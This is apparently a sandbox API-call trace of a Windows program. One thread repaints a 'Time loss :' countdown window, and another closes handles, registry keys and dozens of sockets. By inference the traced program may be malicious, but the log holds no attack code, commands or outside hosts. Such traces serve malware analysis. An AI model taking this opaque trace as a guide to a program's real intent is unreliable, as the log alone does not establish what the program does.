[0288.100] CallWindowProcW (lpPrevWndFunc=0x7fefc5861b4, hWnd=0x2028a, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x2
[0288.100] GetSystemMetrics (nIndex=42) returned 0
[0288.100] GetWindowTextW (in: hWnd=0x2028a, lpString=0x2ee2c0, nMaxCount=3 | out: lpString="46") returned 2
[0288.100] CallWindowProcW (lpPrevWndFunc=0x7fefc5861b4, hWnd=0x2028a, Msg=0xd, wParam=0x3, lParam=0x2ee2c0) returned 0x2
[0288.100] SetWindowTextW (hWnd=0x2028a, lpString="45") returned 1
[0288.100] CallWindowProcW (lpPrevWndFunc=0x7fefc5861b4, hWnd=0x2028a, Msg=0xc, wParam=0x0, lParam=0x26b8ecc) returned 0x1
[0288.100] GetStockObject (i=5) returned 0x1900015
[0288.101] GetDlgItem (hDlg=0x2027a, nIDDlgItem=131722) returned 0x2028a
[0288.101] SendMessageW (hWnd=0x2028a, Msg=0x202b, wParam=0x2028a, lParam=0x2edb70) returned 0x0
[0288.101] CallWindowProcW (lpPrevWndFunc=0x7fefc5861b4, hWnd=0x2028a, Msg=0x202b, wParam=0x2028a, lParam=0x2edb70) returned 0x0
[0288.102] GetWindowTextLengthW (hWnd=0x2028a) returned 2
[0288.102] CallWindowProcW (lpPrevWndFunc=0x7fefc5861b4, hWnd=0x2028a, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x2
[0288.102] GetSystemMetrics (nIndex=42) returned 0
[0288.102] GetWindowTextW (in: hWnd=0x2028a, lpString=0x2ee180, nMaxCount=3 | out: lpString="45") returned 2
[0288.102] CallWindowProcW (lpPrevWndFunc=0x7fefc5861b4, hWnd=0x2028a, Msg=0xd, wParam=0x3, lParam=0x2ee180) returned 0x2
[0288.103] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7feef4f0000
[0288.103] AdjustWindowRectEx (in: lpRect=0x2ee198, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x2ee198) returned 1
[0288.104] SelectObject (hdc=0xd010a02, h=0x1a0a0256) returned 0x50a0b98
[0288.104] DrawTextExW (in: hdc=0xd010a02, lpchText="45", cchText=2, lprc=0x2ee108, format=0x2400, lpdtp=0x26b9148 | out: lpchText="45", lprc=0x2ee108) returned 20
[0288.105] InvalidateRect (hWnd=0x2028a, lpRect=0x0, bErase=1) returned 1
[0288.105] GetWindowTextLengthW (hWnd=0x2027a) returned 11
[0288.105] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x2027a, Msg=0xe, wParam=0x0, lParam=0x0) returned 0xb
[0288.105] GetSystemMetrics (nIndex=42) returned 0
[0288.105] GetWindowTextW (in: hWnd=0x2027a, lpString=0x2ee0f0, nMaxCount=12 | out: lpString="Time loss :") returned 11
[0288.105] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x2027a, Msg=0xd, wParam=0xc, lParam=0x2ee0f0) returned 0xb
[0288.106] PeekMessageW (in: lpMsg=0x2eec80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x2eec80) returned 1
[0288.106] IsWindowUnicode (hWnd=0x2028a) returned 1
[0288.106] GetMessageW (in: lpMsg=0x2eec80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x2eec80) returned 1
[0288.106] TranslateMessage (lpMsg=0x2eec80) returned 0
[0288.106] DispatchMessageW (lpMsg=0x2eec80) returned 0x0
[0288.107] BeginPaint (in: hWnd=0x2028a, lpPaint=0x2ee378 | out: lpPaint=0x2ee378) returned 0x2010b40
[0288.107] SelectPalette (hdc=0x2010b40, hPal=0x3080b87, bForceBkgd=1) returned 0x188000b
[0288.107] CreateCompatibleDC (hdc=0x2010b40) returned 0x32010b60
[0288.107] SelectObject (hdc=0x32010b60, h=0xc0507c1) returned 0x185000f
[0288.107] GdipCreateFromHDC (hdc=0x32010b60, graphics=0x2ee2f8) returned 0x0
[0288.109] GdipTranslateWorldTransform (graphics=0x1c5a8050, dx=0x7fef04ddf12, dy=0x4af70916f6e6, order=0x0) returned 0x0
[0288.115] GdipSetClipRectI (graphics=0x1c5a8050, x=0, y=0, width=27, height=20, combineMode=0x0) returned 0x0
[0288.115] GdipCreateMatrix (matrix=0x2ee320) returned 0x0
[0288.115] GdipGetWorldTransform (graphics=0x1c5a8050, matrix=0x1c5af510) returned 0x0
[0288.115] GdipIsMatrixIdentity (matrix=0x1c5af510, result=0x2ee388) returned 0x0
[0288.115] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1de51510
[0288.115] GdipGetMatrixElements (matrix=0x1c5af510, matrixOut=0x1de51510) returned 0x0
[0288.116] LocalFree (hMem=0x1de51510) returned 0x0
[0288.116] GdipDeleteMatrix (matrix=0x1c5af510) returned 0x0
[0288.116] GdipCreateRegion (region=0x2ee320) returned 0x0
[0288.116] GdipGetClip (graphics=0x1c5a8050, region=0x1c5a8420) returned 0x0
[0288.116] GdipIsInfiniteRegion (region=0x1c5a8420, graphics=0x1c5a8050, result=0x2ee380) returned 0x0
[0288.116] GdipSaveGraphics (graphics=0x1c5a8050, state=0x2ee420) returned 0x0
[0288.116] GetWindowTextLengthW (hWnd=0x2028a) returned 2
[0288.117] CallWindowProcW (lpPrevWndFunc=0x7fefc5861b4, hWnd=0x2028a, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x2
[0288.117] GetSystemMetrics (nIndex=42) returned 0
[0288.117] GetWindowTextW (in: hWnd=0x2028a, lpString=0x2ee220, nMaxCount=3 | out: lpString="45") returned 2
[0288.117] CallWindowProcW (lpPrevWndFunc=0x7fefc5861b4, hWnd=0x2028a, Msg=0xd, wParam=0x3, lParam=0x2ee220) returned 0x2
[0288.117] GetClientRect (in: hWnd=0x2028a, lpRect=0x2ee3c8 | out: lpRect=0x2ee3c8) returned 1
[0288.117] GdipCreateRegion (region=0x2edfb0) returned 0x0
[0288.118] GdipGetClip (graphics=0x1c5a8050, region=0x1c5a84e0) returned 0x0
[0288.118] GdipCreateMatrix (matrix=0x2edfb0) returned 0x0
[0288.118] GdipGetWorldTransform (graphics=0x1c5a8050, matrix=0x1c5af550) returned 0x0
[0288.118] GdipIsMatrixIdentity (matrix=0x1c5af550, result=0x2ee018) returned 0x0
[0288.118] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1de51510
[0288.118] GdipGetMatrixElements (matrix=0x1c5af550, matrixOut=0x1de51510) returned 0x0
[0288.118] LocalFree (hMem=0x1de51510) returned 0x0
[0288.118] GdipCombineRegionRegion (region=0x1c5a84e0, region2=0x1c5a8420, combineMode=0x1) returned 0x0
[0288.118] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1de51510
[0288.118] GdipGetMatrixElements (matrix=0x1c5af550, matrixOut=0x1de51510) returned 0x0
[0288.118] LocalFree (hMem=0x1de51510) returned 0x0
[0288.119] GdipDeleteMatrix (matrix=0x1c5af550) returned 0x0
[0288.119] GdipIsInfiniteRegion (region=0x1c5a84e0, graphics=0x1c5a8050, result=0x2ee080) returned 0x0
[0288.119] GdipIsInfiniteRegion (region=0x1c5a84e0, graphics=0x1c5a8050, result=0x2ee040) returned 0x0
[0288.119] GdipGetRegionHRgn (region=0x1c5a84e0, graphics=0x1c5a8050, hRgn=0x2ee040) returned 0x0
[0288.119] GdipDeleteRegion (region=0x1c5a84e0) returned 0x0
[0288.119] GdipGetDC (graphics=0x1c5a8050, hdc=0x2ee088) returned 0x0
[0288.119] GetCurrentObject (hdc=0x32010b60, type=0x1) returned 0x1b00017
[0288.119] GetCurrentObject (hdc=0x32010b60, type=0x2) returned 0x1900010
[0288.119] GetCurrentObject (hdc=0x32010b60, type=0x7) returned 0xc0507c1
[0288.119] GetCurrentObject (hdc=0x32010b60, type=0x6) returned 0x18a002e
[0288.119] SaveDC (hdc=0x32010b60) returned 1
[0288.120] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x5b040b99
[0288.120] GetClipRgn (hdc=0x32010b60, hrgn=0x5b040b99) returned 0
[0288.120] SelectClipRgn (hdc=0x32010b60, hrgn=0x79040b86) returned 2
[0288.120] DeleteObject (ho=0x5b040b99) returned 1
[0288.120] DeleteObject (ho=0x79040b86) returned 1
[0288.120] OffsetViewportOrgEx (in: hdc=0x32010b60, x=0, y=0, lppt=0x26b9878 | out: lppt=0x26b9878) returned 1
[0288.120] GetNearestColor (hdc=0x32010b60, color=0x80) returned 0x80
[0288.120] CreateSolidBrush (color=0x80) returned 0x251007d3
[0288.120] FillRect (hDC=0x32010b60, lprc=0x2ee0b8, hbr=0x251007d3) returned 1
[0288.120] DeleteObject (ho=0x251007d3) returned 1
[0288.120] RestoreDC (hdc=0x32010b60, nSavedDC=-1) returned 1
[0288.121] GdipReleaseDC (graphics=0x1c5a8050, hdc=0x32010b60) returned 0x0
[0288.121] GdipRestoreGraphics (graphics=0x1c5a8050, state=0xfffffffffce00dbd) returned 0x0
[0288.121] GdipDeleteRegion (region=0x1c5a8420) returned 0x0
[0288.121] GetWindowTextLengthW (hWnd=0x2028a) returned 2
[0288.121] CallWindowProcW (lpPrevWndFunc=0x7fefc5861b4, hWnd=0x2028a, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x2
[0288.121] GetSystemMetrics (nIndex=42) returned 0
[0288.121] GetWindowTextW (in: hWnd=0x2028a, lpString=0x2ee220, nMaxCount=3 | out: lpString="45") returned 2
[0288.121] CallWindowProcW (lpPrevWndFunc=0x7fefc5861b4, hWnd=0x2028a, Msg=0xd, wParam=0x3, lParam=0x2ee220) returned 0x2
[0288.121] GdipGetDC (graphics=0x1c5a8050, hdc=0x2ee218) returned 0x0
[0288.121] GetCurrentObject (hdc=0x32010b60, type=0x1) returned 0x1b00017
[0288.121] GetCurrentObject (hdc=0x32010b60, type=0x2) returned 0x1900010
[0288.121] GetCurrentObject (hdc=0x32010b60, type=0x7) returned 0xc0507c1
[0288.121] GetCurrentObject (hdc=0x32010b60, type=0x6) returned 0x18a002e
[0288.121] SaveDC (hdc=0x32010b60) returned 1
[0288.122] GetNearestColor (hdc=0x32010b60, color=0xffffff) returned 0xffffff
[0288.122] RestoreDC (hdc=0x32010b60, nSavedDC=-1) returned 1
[0288.131] GdipReleaseDC (graphics=0x1c5a8050, hdc=0x32010b60) returned 0x0
[0288.131] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7fefc4e0000
[0288.132] AdjustWindowRectEx (in: lpRect=0x2ee0c8, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x2ee0c8) returned 1
[0288.132] GdipGetTextRenderingHint (graphics=0x1c5a8050, mode=0x2ee128) returned 0x0
[0288.132] GdipGetDC (graphics=0x1c5a8050, hdc=0x2ee108) returned 0x0
[0288.132] GetCurrentObject (hdc=0x32010b60, type=0x1) returned 0x1b00017
[0288.132] GetCurrentObject (hdc=0x32010b60, type=0x2) returned 0x1900010
[0288.132] GetCurrentObject (hdc=0x32010b60, type=0x7) returned 0xc0507c1
[0288.132] GetCurrentObject (hdc=0x32010b60, type=0x6) returned 0x18a002e
[0288.132] SaveDC (hdc=0x32010b60) returned 1
[0288.132] GetTextAlign (hdc=0x32010b60) returned 0x0
[0288.132] GetTextColor (hdc=0x32010b60) returned 0x0
[0288.132] SetTextColor (hdc=0x32010b60, color=0xffffff) returned 0x0
[0288.132] GetCurrentObject (hdc=0x32010b60, type=0x6) returned 0x18a002e
[0288.133] GetObjectW (in: h=0x18a002e, c=92, pv=0x2edc40 | out: pv=0x2edc40) returned 92
[0288.133] SelectObject (hdc=0x32010b60, h=0x1a0a0256) returned 0x18a002e
[0288.133] GetBkMode (hdc=0x32010b60) returned 2
[0288.133] SetBkMode (hdc=0x32010b60, mode=1) returned 2
[0288.133] DrawTextExW (in: hdc=0x32010b60, lpchText="45", cchText=2, lprc=0x2ee098, format=0x0, lpdtp=0x26ba108 | out: lpchText="45", lprc=0x2ee098) returned 20
[0288.134] RestoreDC (hdc=0x32010b60, nSavedDC=-1) returned 1
[0288.134] GdipReleaseDC (graphics=0x1c5a8050, hdc=0x32010b60) returned 0x0
[0288.134] GdipGetDC (graphics=0x1c5a8050, hdc=0x2ee338) returned 0x0
[0288.134] BitBlt (hdc=0x2010b40, x=0, y=0, cx=27, cy=20, hdcSrc=0x32010b60, x1=0, y1=0, rop=0xcc0020) returned 1
[0288.134] GdipReleaseDC (graphics=0x1c5a8050, hdc=0x32010b60) returned 0x0
[0288.134] SelectPalette (hdc=0x2010b40, hPal=0x188000b, bForceBkgd=0) returned 0x3080b87
[0288.134] SelectObject (hdc=0x32010b60, h=0x185000f) returned 0xc0507c1
[0288.134] DeleteDC (hdc=0x32010b60) returned 1
[0288.134] GdipDeleteGraphics (graphics=0x1c5a8050) returned 0x0
[0288.134] EndPaint (hWnd=0x2028a, lpPaint=0x2ee318) returned 1
[0288.134] PeekMessageW (in: lpMsg=0x2eec80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x2eec80) returned 1
[0288.134] IsWindowUnicode (hWnd=0x4015e) returned 1
[0288.134] GetMessageW (in: lpMsg=0x2eec80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x2eec80) returned 1
[0288.134] TranslateMessage (lpMsg=0x2eec80) returned 0
[0288.134] DispatchMessageW (lpMsg=0x2eec80) returned 0x0
[0288.135] PeekMessageW (in: lpMsg=0x2eec80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x2eec80) returned 1
[0288.135] IsWindowUnicode (hWnd=0x10330) returned 1
[0288.135] GetMessageW (in: lpMsg=0x2eec80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x2eec80) returned 1
[0288.135] TranslateMessage (lpMsg=0x2eec80) returned 0
[0288.135] DispatchMessageW (lpMsg=0x2eec80) returned 0x0
[0288.135] PeekMessageW (in: lpMsg=0x2eec80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x2eec80) returned 1
[0288.135] IsWindowUnicode (hWnd=0x2029e) returned 1
[0288.135] GetMessageW (in: lpMsg=0x2eec80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x2eec80) returned 1
[0288.135] TranslateMessage (lpMsg=0x2eec80) returned 0
[0288.135] DispatchMessageW (lpMsg=0x2eec80) returned 0x0
[0288.135] PeekMessageW (in: lpMsg=0x2eec80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x2eec80) returned 1
[0288.135] IsWindowUnicode (hWnd=0x2029e) returned 1
[0288.135] GetMessageW (in: lpMsg=0x2eec80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x2eec80) returned 1
[0288.135] TranslateMessage (lpMsg=0x2eec80) returned 0
[0288.135] DispatchMessageW (lpMsg=0x2eec80) returned 0x0
[0288.135] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x2029e, Msg=0x2a1, wParam=0x0, lParam=0x140088) returned 0x0
[0288.135] PeekMessageW (in: lpMsg=0x2eec80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x2eec80) returned 0
[0288.138] PeekMessageW (in: lpMsg=0x2eec80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x2eec80) returned 0
[0288.138] WaitMessage () returned 1
[0288.234] PeekMessageW (in: lpMsg=0x2eec80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x2eec80) returned 0
[0288.234] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x4015e, Msg=0x7f, wParam=0x1, lParam=0x0) returned 0xc00ad
[0288.236] PeekMessageW (in: lpMsg=0x2eec80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x2eec80) returned 0
[0288.236] WaitMessage () returned 1
[0288.421] PeekMessageW (in: lpMsg=0x2eec80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x2eec80) returned 1
[0288.421] IsWindowUnicode (hWnd=0x10332) returned 1
[0288.421] GetMessageW (in: lpMsg=0x2eec80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x2eec80) returned 1
[0288.421] TranslateMessage (lpMsg=0x2eec80) returned 0
[0288.421] DispatchMessageW (lpMsg=0x2eec80) returned 0x0
[0288.421] PeekMessageW (in: lpMsg=0x2eec80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x2eec80) returned 0
[0288.421] PeekMessageW (in: lpMsg=0x2eec80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x2eec80) returned 0
[0288.421] WaitMessage () returned 1
[0288.437] PeekMessageW (in: lpMsg=0x2eec80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x2eec80) returned 1
[0288.437] IsWindowUnicode (hWnd=0x4015e) returned 1
[0288.437] GetMessageW (in: lpMsg=0x2eec80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x2eec80) returned 1
[0288.437] TranslateMessage (lpMsg=0x2eec80) returned 0
[0288.437] DispatchMessageW (lpMsg=0x2eec80) returned 0x0
[0288.438] PeekMessageW (in: lpMsg=0x2eec80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x2eec80) returned 0
[0288.438] PeekMessageW (in: lpMsg=0x2eec80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x2eec80) returned 0
[0288.438] WaitMessage ()
Thread:
id = 2
os_tid = 0x79c
Thread:
id = 3
os_tid = 0x15c
[0057.594] CoGetContextToken (in: pToken=0x1abbf300 | out: pToken=0x1abbf300) returned 0x800401f0
[0057.595] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0
[0110.974] CloseHandle (hObject=0x364) returned 1
[0167.345] CloseHandle (hObject=0x4a0) returned 1
[0167.345] CloseHandle (hObject=0x488) returned 1
[0167.346] setsockopt (s=0x188c, level=65535, optname=128, optval="\x01", optlen=4) returned 0
[0167.346] closesocket (s=0x188c) returned 0
[0167.347] CloseHandle (hObject=0x49c) returned 1
[0167.347] CloseHandle (hObject=0x518) returned 1
[0167.347] CloseHandle (hObject=0x484) returned 1
[0167.348] CloseHandle (hObject=0x498) returned 1
[0167.348] setsockopt (s=0x2530, level=65535, optname=128, optval="\x01", optlen=4) returned 0
[0167.348] closesocket (s=0x2530) returned 0
[0167.348] CloseHandle (hObject=0x494) returned 1
[0167.348] CloseHandle (hObject=0x514) returned 1
[0167.349] CloseHandle (hObject=0x490) returned 1
[0167.349] CloseHandle (hObject=0x48c) returned 1
[0234.643] CloseHandle (hObject=0x1480) returned 1
[0241.384] RegCloseKey (hKey=0x1524) returned 0x0
[0241.384] RegCloseKey (hKey=0x14c0) returned 0x0
[0244.230] CloseHandle (hObject=0x1440) returned 1
[0244.231] CloseHandle (hObject=0x1444) returned 1
[0284.952] setsockopt (s=0xb7c, level=65535, optname=128, optval="\x01", optlen=4) returned 0
[0284.953] closesocket (s=0xb7c) returned 0
[0284.954] setsockopt (s=0x1ae4, level=65535, optname=128, optval="\x01", optlen=4) returned 0
[0284.954] closesocket (s=0x1ae4) returned 0
[0284.955] setsockopt (s=0x1528, level=65535, optname=128, optval="\x01", optlen=4) returned 0
[0284.955] closesocket (s=0x1528) returned 0
[0284.955] setsockopt (s=0xb5c, level=65535, optname=128, optval="\x01", optlen=4) returned 0
[0284.955] closesocket (s=0xb5c) returned 0
[0284.956] setsockopt (s=0x22ec, level=65535, optname=128, optval="\x01", optlen=4) returned 0
[0284.956] closesocket (s=0x22ec) returned 0
[0284.956] setsockopt (s=0xb3c, level=65535, optname=128, optval="\x01", optlen=4) returned 0
[0284.956] closesocket (s=0xb3c) returned 0
[0284.957] setsockopt (s=0x1508, level=65535, optname=128, optval="\x01", optlen=4) returned 0
[0284.957] closesocket (s=0x1508) returned 0
[0284.957] setsockopt (s=0xb1c, level=65535, optname=128, optval="\x01", optlen=4) returned 0
[0284.957] closesocket (s=0xb1c) returned 0
[0284.957] setsockopt (s=0x1acc, level=65535, optname=128, optval="\x01", optlen=4) returned 0
[0284.957] closesocket (s=0x1acc) returned 0
[0284.958] setsockopt (s=0xafc, level=65535, optname=128, optval="\x01", optlen=4) returned 0
[0284.959] closesocket (s=0xafc) returned 0
[0284.959] setsockopt (s=0x14e8, level=65535, optname=128, optval="\x01", optlen=4) returned 0
[0284.959] closesocket (s=0x14e8) returned 0
[0284.959] setsockopt (s=0x1e48, level=65535, optname=128, optval="\x01", optlen=4) returned 0
[0284.959] closesocket (s=0x1e48) returned 0
[0284.959] setsockopt (s=0x206c, level=65535, optname=128, optval="\x01", optlen=4) returned 0
[0284.959] closesocket (s=0x206c) returned 0
[0284.959] setsockopt (s=0xadc, level=65535, optname=128, optval="\x01", optlen=4) returned 0
[0284.960] closesocket (s=0xadc) returned 0
[0284.960] setsockopt (s=0x14c8, level=65535, optname=128, optval="\x01", optlen=4) returned 0
[0284.960] closesocket (s=0x14c8) returned 0
[0284.960] setsockopt (s=0xabc, level=65535, optname=128, optval="\x01", optlen=4) returned 0
[0284.960] closesocket (s=0xabc) returned 0
[0284.960] setsockopt (s=0x1aac, level=65535, optname=128, optval="\x01", optlen=4) returned 0
[0284.961] closesocket (s=0x1aac) returned 0
[0284.961] setsockopt (s=0x21ac, level=65535, optname=128, optval="\x01", optlen=4) returned 0
[0284.961] closesocket (s=0x21ac) returned 0
[0284.961] setsockopt (s=0xa9c, level=65535, optname=128, optval="\x01", optlen=4) returned 0
[0284.961] closesocket (s=0xa9c) returned 0
[0284.962] setsockopt (s=0x14a8, level=65535, optname=128, optval="\x01", optlen=4) returned 0
[0284.962] closesocket (s=0x14a8) returned 0
[0284.962] setsockopt (s=0xa7c, level=65535, optname=128, optval="\x01", optlen=4) returned 0
[0284.962] closesocket (s=0xa7c) returned 0
[0284.962] setsockopt (s=0x1a8c, level=65535, optname=128, optval="\x01", optlen=4) returned 0
[0284.963] closesocket (s=0x1a8c) returned 0
[0284.963] setsockopt (s=0xa5c, level=65535, optname=128, optval="\x01", optlen=4) returned 0
[0284.963] closesocket (s=0xa5c) returned 0
[0284.963] setsockopt (s=0x1488, level=65535, optname=128, optval="\x01", optlen=4) returned 0
[0284.963] closesocket (s=0x1488) returned 0
[0284.963] setsockopt (s=0x1e28, level=65535, optname=128, optval="\x01", optlen=4) returned 0
[0284.963] closesocket (s=0x1e28) returned 0
[0284.964] setsockopt (s=0xa3c, level=65535, optname=128, optval="\x01", optlen=4) returned 0
[0284.964] closesocket (s=0xa3c) returned 0
[0284.964] setsockopt (s=0x1468, level=65535, optname=128, optval="\x01", optlen=4) returned 0
[0284.964] closesocket (s=0x1468) returned 0
[0284.965] setsockopt (s=0xa1c, level=65535, optname=128, optval="\x01", optlen=4) returned 0
[0284.965] closesocket (s=0xa1c) returned 0
[0284.965] setsockopt (s=0x1a6c, level=65535, optname=128, optval="\x01", optlen=4) returned 0
[0284.965] closesocket (s=0x1a6c) returned 0
[0284.966] setsockopt (s=0x204c, level=65535, optname=128, optval="\x01", optlen=4) returned 0
[0284.966] closesocket (s=0x204c) returned 0
[0284.966] setsockopt (s=0x9fc, level=65535, optname=128, optval="\x01", optlen=4) returned 0
[0284.966] closesocket (s=0x9fc) returned 0
[0284.967] setsockopt (s=0x1448, level=65535, optname=128, optval="\x01", optlen=4) returned 0
[0284.967] closesocket (s=0x1448) returned 0
[0284.967] setsockopt (s=0x9dc, level=65535, optname=128, optval="\x01", optlen=4) returned 0
[0284.967] closesocket (s=0x9dc) returned 0
[0284.968] setsockopt (s=0x1e08, level=65535, optname=128, optval="\x01", optlen=4) returned 0
[0284.968] closesocket (s=0x1e08) returned 0
[0284.968] setsockopt (s=0x9bc, level=65535, optname=128, optval="\x01", optlen=4) returned 0
[0284.969] closesocket (s=0x9bc) returned 0
[0284.969] setsockopt (s=0x1428, level=65535, optname=128, optval="\x01", optlen=4) returned 0
[0284.969] closesocket (s=0x1428) returned 0
[0284.969] setsockopt (s=0x1a4c, level=65535, optname=128, optval="\x01", optlen=4) returned 0
[0284.969] closesocket (s=0x1a4c) returned 0
[0284.969] setsockopt (s=0x226c, level=65535, optname=128, optval="\x01", optlen=4) returned 0
[0284.970] closesocket (s=0x226c) returned 0
[0284.970] setsockopt (s=0x99c, level=65535, optname=128, optval="\x01", optlen=4) returned 0
[0284.970] closesocket (s=0x99c) returned 0
[0284.971] setsockopt (s=0x1408, level=65535, optname=128, optval="\x01", optlen=4) returned 0
[0284.971] closesocket (s=0x1408) returned 0
[0284.971] setsockopt (s=0x97c, level=65535, optname=128, optval="\x01", optlen=4) returned 0
[0284.971] closesocket (s=0x97c) returned 0
[0284.972] setsockopt (s=0x1a2c, level=65535, optname=128, optval="\x01", optlen=4) returned 0
[0284.972] closesocket (s=0x1a2c) returned 0
[0284.972] setsockopt (s=0x95c, level=65535, optname=128, optval="\x01", optlen=4) returned 0
[0284.972] closesocket (s=0x95c) returned 0
[0284.973] setsockopt (s=0x13e4, level=65535, optname=128, optval="\x01", optlen=4) returned 0
[0284.973] closesocket (s=0x13e4) returned 0
[0284.973] setsockopt (s=0x93c, level=65535, optname=128, optval="\x01", optlen=4) returned 0
[0284.973] closesocket (s=0x93c) returned 0
[0284.974] setsockopt (s=0x1de8, level=65535, optname=128, optval="\x01", optlen=4) returned 0
[0284.974] closesocket (s=0x1de8) returned 0
[0284.975] setsockopt (s=0x91c, level=65535, optname=128, optval="\x01", optlen=4) returned 0
[0284.975] closesocket (s=0x91c) returned 0
[0284.975] setsockopt (s=0x13c4, level=65535, optname=128, optval="\x01", optlen=4) returned 0
[0284.976] closesocket (s=0x13c4) returned 0
[0284.976] setsockopt (s=0x1a0c, level=65535, optname=128, optval="\x01", optlen=4) returned 0
[0284.976] closesocket (s=0x1a0c) returned 0
[0284.977] setsockopt (s=0x8fc, level=65535, optname=128, optval="\x01", optlen=4) returned 0
[0284.977] closesocket (s=0x8fc) returned 0
[0284.977] setsockopt (s=0x202c, level=65535, optname=128, optval="\x01", optlen=4) returned 0
[0284.977] closesocket (s=0x202c) returned 0
[0284.977] setsockopt (s=0x13a4, level=65535, optname=128, optval="\x01", optlen=4) returned 0
[0284.977] closesocket (s=0x13a4) returned 0
[0284.978] setsockopt (s=0x8dc, level=65535, optname=128, optval="\x01", optlen=4) returned 0
[0284.978] closesocket (s=0x8dc) returned 0
[0284.978] setsockopt (s=0x218c, level=65535, optname=128, optval="\x01", optlen=4) returned 0
[0284.978] closesocket (s=0x218c) returned 0
[0284.979] setsockopt (s=0x8bc, level=65535, optname=128, optval="\x01", optlen=4) returned 0
[0284.979] closesocket (s=0x8bc) returned 0
[0284.980] setsockopt (s=0x1384, level=65535, optname=128, optval="\x01", optlen=4) returned 0
[0284.980] closesocket (s=0x1384) returned 0
[0284.980] setsockopt (s=0x19ec, level=65535, optname=128, optval="\x01", optlen=4) returned 0
[0284.980] closesocket (s=0x19ec) returned 0
[0284.980] setsockopt (s=0x89c, level=65535, optname=128, optval="\x01", optlen=4) returned 0
[0284.980] closesocket (s=0x89c) returned 0
[0284.980] setsockopt (s=0x1dc8, level=65535, optname=128, optval="\x01", optlen=4) returned 0
[0284.980] closesocket (s=0x1dc8) returned 0
[0284.980] setsockopt (s=0x232c, level=65535, optname=128, optval="\x01", optlen=4) returned 0
[0284.980] closesocket (s=0x232c) returned 0
[0284.981] setsockopt (s=0x87c, level=65535, optname=128, optval="\x01", optlen=4) returned 0
[0284.981] closesocket (s=0x87c) returned 0
[0284.981] setsockopt (s=0x1364, level=65535, optname=128, optval="\x01", optlen=4) returned 0
[0284.981] closesocket (s=0x1364) returned 0
[0284.981] setsockopt (s=0x85c, level=65535, optname=128, optval="\x01", optlen=4) returned 0
[0284.981] closesocket (s=0x85c) returned 0
[0284.982] setsockopt (s=0x19cc, level=65535, optname=128, optval="\x01", optlen=4) returned 0
[0284.982] closesocket (s=0x19cc) returned 0
[0284.982] setsockopt (s=0x1344, level=65535, optname=128, optval="\x01", optlen=4) returned 0
[0284.982] closesocket (s=0x1344) returned 0
[0284.982] setsockopt (s=0x83c, level=65535, optname=128, optval="\x01", optlen=4) returned 0
[0284.983] closesocket (s=0x83c) returned 0
[0284.983] setsockopt (s=0x1da8, level=65535, optname=128, optval="\x01", optlen=4) returned 0
[0284.983] closesocket (s=0x1da8) returned 0
[0284.983] setsockopt (s=0x81c, level=65535, optname=128, optval="\x01", optlen=4) returned 0
[0284.983] closesocket (s=0x81c) returned 0
[0284.984] setsockopt (s=0x1324, level=65535, optname=128, optval="\x01", optlen=4) returned 0
[0284.984] closesocket (s=0x1324) returned 0
[0284.984] setsockopt (s=0x7f8, level=65535, optname=128, optval="\x01", optlen=4) returned 0
[0284.984] closesocket (s=0x7f8) returned 0
